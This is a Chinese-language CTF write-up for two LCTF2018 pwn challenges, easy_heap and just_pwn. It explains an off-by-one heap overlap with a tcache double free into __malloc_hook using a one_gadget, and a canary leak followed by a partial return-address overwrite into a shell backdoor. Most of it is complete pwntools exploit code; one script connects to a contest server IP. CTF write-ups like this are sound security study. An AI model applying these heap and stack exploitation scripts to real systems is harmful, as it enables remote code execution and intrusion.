LCTF2018 easy_heap&&just_pwn

0x01 easy heap

off by one:

1
2
3
4
5
6
7
8
9
10
11
12
if ( a2 )
{
while ( 1 )
{
read(0, &a1[v3], 1uLL);
if ( a2 - 1 < (unsigned int)v3 || !a1[v3] || a1[v3] == '\n' )
break;
++v3;
}
a1[v3] = 0;
a1[a2] = 0; //off by one
}

libc2.27->tcache
只能malloc(0xF8)
可以先填满对应的tcache bin获得unsorted bin
审错了他的read过程,看成了

1
2
3
if ( a2 - 1 < (unsigned int)v3 || !a1[v3] || a1[v3] == '\n' )
++v3;
break;

以为会连续生成两个”\x00”,没法bypass,(fd和bk只有末位是”\x00”),卡了好久
晚上回来重新看发现看错了orz
剩下就是利用off by one覆盖prev in use,使两个堆块发生合并,然后便可以有两个索引指向同一个chunk
而后进行tcache的double free,使chunk分配到malloc hook,写入one_gadget,再malloc一次即可getshell
EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
from pwn import *
def new(size,note):
p.recvuntil("?\n> ")
p.sendline("1")
p.recvuntil("size \n> ")
p.sendline(str(size))
p.recvuntil("content \n> ")
if size==0:
return
else:
p.send(note)
def delete(index):
p.recvuntil("> ")
p.sendline("2")
p.recvuntil("index \n> ")
p.sendline(str(index))
context.log_level='debug'
p=remote("118.25.150.134",6666)
#p=process("./easy_heap")
for i in range(10):
new(0,"kirin\n")
#make unsorted bin
for i in range(5):
delete(9-i)#9 8 7 6 5
delete(3)
delete(1)
delete(2)
delete(0)
delete(4)
for i in range(7):
new(0,"kirin\n")
new(0,"kirin\n")
new(0xf8,"\x00")
new(0,"kirin\n")
for i in range(6):
delete(i+1)
delete(9)
delete(0)
#leak
p.recvuntil("?\n> ")
p.sendline("3")
p.recvuntil("index \n> ")
p.sendline("8")
s=p.recv(6)
libc_addr=u64(s.ljust(8,"\x00"))-0x3ebca0
print hex(libc_addr)
for i in range(8):
new(0,"kirin\n")
delete(8)
delete(9)
new(0x10,p64(libc_addr+0x3ebc30))
new(0x10,"kirin\n")
for i in range(8):
delete(i)
for i in range(8):
new(0x10,p64(libc_addr+0x10a38c))
delete(0)
p.recvuntil("> ")
p.sendline("1")
p.interactive()

0x02 just pwn

这题比较难受,第二天早上审了一会就写好exp
结果感觉栈溢出的地方:

1
read(0, &buf, 0x200uLL);

只能读到回车返回(只能sendline不能send,实际上可以send)
就没去试最开始写好的exp,其实最开始就能打到shell
程序:
最开始一段加密,利用time(0)作为key加密用户数据
在开始的地方伪造money,最多为9999,因此栈溢出地方可以调用两次
最开始想法:

1
2
3
4
5
一次leak canary,一次覆盖返回地址低字节get shell
因为程序存在后门system("/bin/sh"),所以原返回地址与后门地址高字节相同
leak canary可以考虑使用栈溢出前的递归函数将canary布置到栈空间中
函数返回时canary在原位置,进入栈溢出那个函数的时候便可以覆盖掉canary低字节来puts出canary
只要爆一下4bits即可(倒数第四位)

其实应该是预期解,我突然以为只能sendline来使read结束,这样会多覆盖一个回车符造成get shell失败,实际上直接send也可以,最开始写的send,不过因为湖湘杯,没去试一试,晚上也就想当然得改了orz
另外最开始的对用户数据的加密,因为是time(0),我没去管加密过程,直接patch掉程序,改对应money位置为9999,在运行原程序的同时运行patch后的程序,便可以得到money为9999的secret code

EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
from pwn import *

context.log_level='debug'
p=process("./just_pwn")
p.recvuntil("3.Exit\n")
p.sendline("1")
p.recvuntil("code:\n")
p.recvuntil("\n")
s=raw_input(":")#input the secret code with money:9999
p.recvuntil("3.Exit\n")
p.sendline("2")
p.recvuntil(":\n")
p.sendline(s)
p.recvuntil("4.hit on the head of the developer\n------------------------\n")
p.sendline("3")
for i in range(4):
p.recvuntil("m\n")
p.sendline("n")
p.recvuntil("m\n")
p.sendline("y")

#leak canary
p.recvuntil(":\n")
p.sendline("a"*8)
p.recvuntil("aaaaaaaa\n")
canary="\x00"+p.recv(7)
print hex(u64(canary))

#get shell
p.recvuntil("4.hit on the head of the developer\n------------------------\n")
p.sendline("3")
p.recvuntil("m\n")
p.sendline("y")
p.recvuntil(":\n")
p.send("a"*8*25+canary+"a"*8+p16(0x122c))
p.interactive()